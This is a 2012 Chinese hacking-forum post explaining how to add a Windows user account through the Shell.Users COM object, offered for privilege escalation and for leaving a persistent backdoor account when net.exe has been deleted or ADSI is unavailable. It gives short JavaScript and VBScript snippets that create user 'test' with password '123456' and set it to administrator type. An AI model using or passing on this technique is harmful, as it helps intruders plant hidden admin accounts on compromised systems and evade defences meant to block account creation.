黑色星空
欢迎你,注册进来让我们共同打造这片星空吧。。。。。。

by: niusan521

Join the forum, it's quick and easy

黑色星空
欢迎你,注册进来让我们共同打造这片星空吧。。。。。。

by: niusan521
黑色星空
Would you like to react to this message? Create an account in a few clicks or log in to continue.

命令行下一种添加帐号的方法

向下

命令行下一种添加帐号的方法 Empty 命令行下一种添加帐号的方法

帖子  Admin 周一 一月 09, 2012 10:50 am

提权时可以考虑用这种特殊的方法加账号或者所谓留下添加"不死"账号的后门思路吧!!!知道的朋友也别骂我哦,不多说...
控制面板文件nusrmgr.cpl,当中调用的是Shell.Users来加用户,它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话,这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外,这也可能是一种加用户的方法。代码如下:

js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3



Admin
Admin

帖子数 : 13
注册日期 : 12-01-09

http://hei***ingkong.365luntan.org

返回页首 向下

返回页首


 
您在这个论坛的权限:
不能在这个论坛回复主题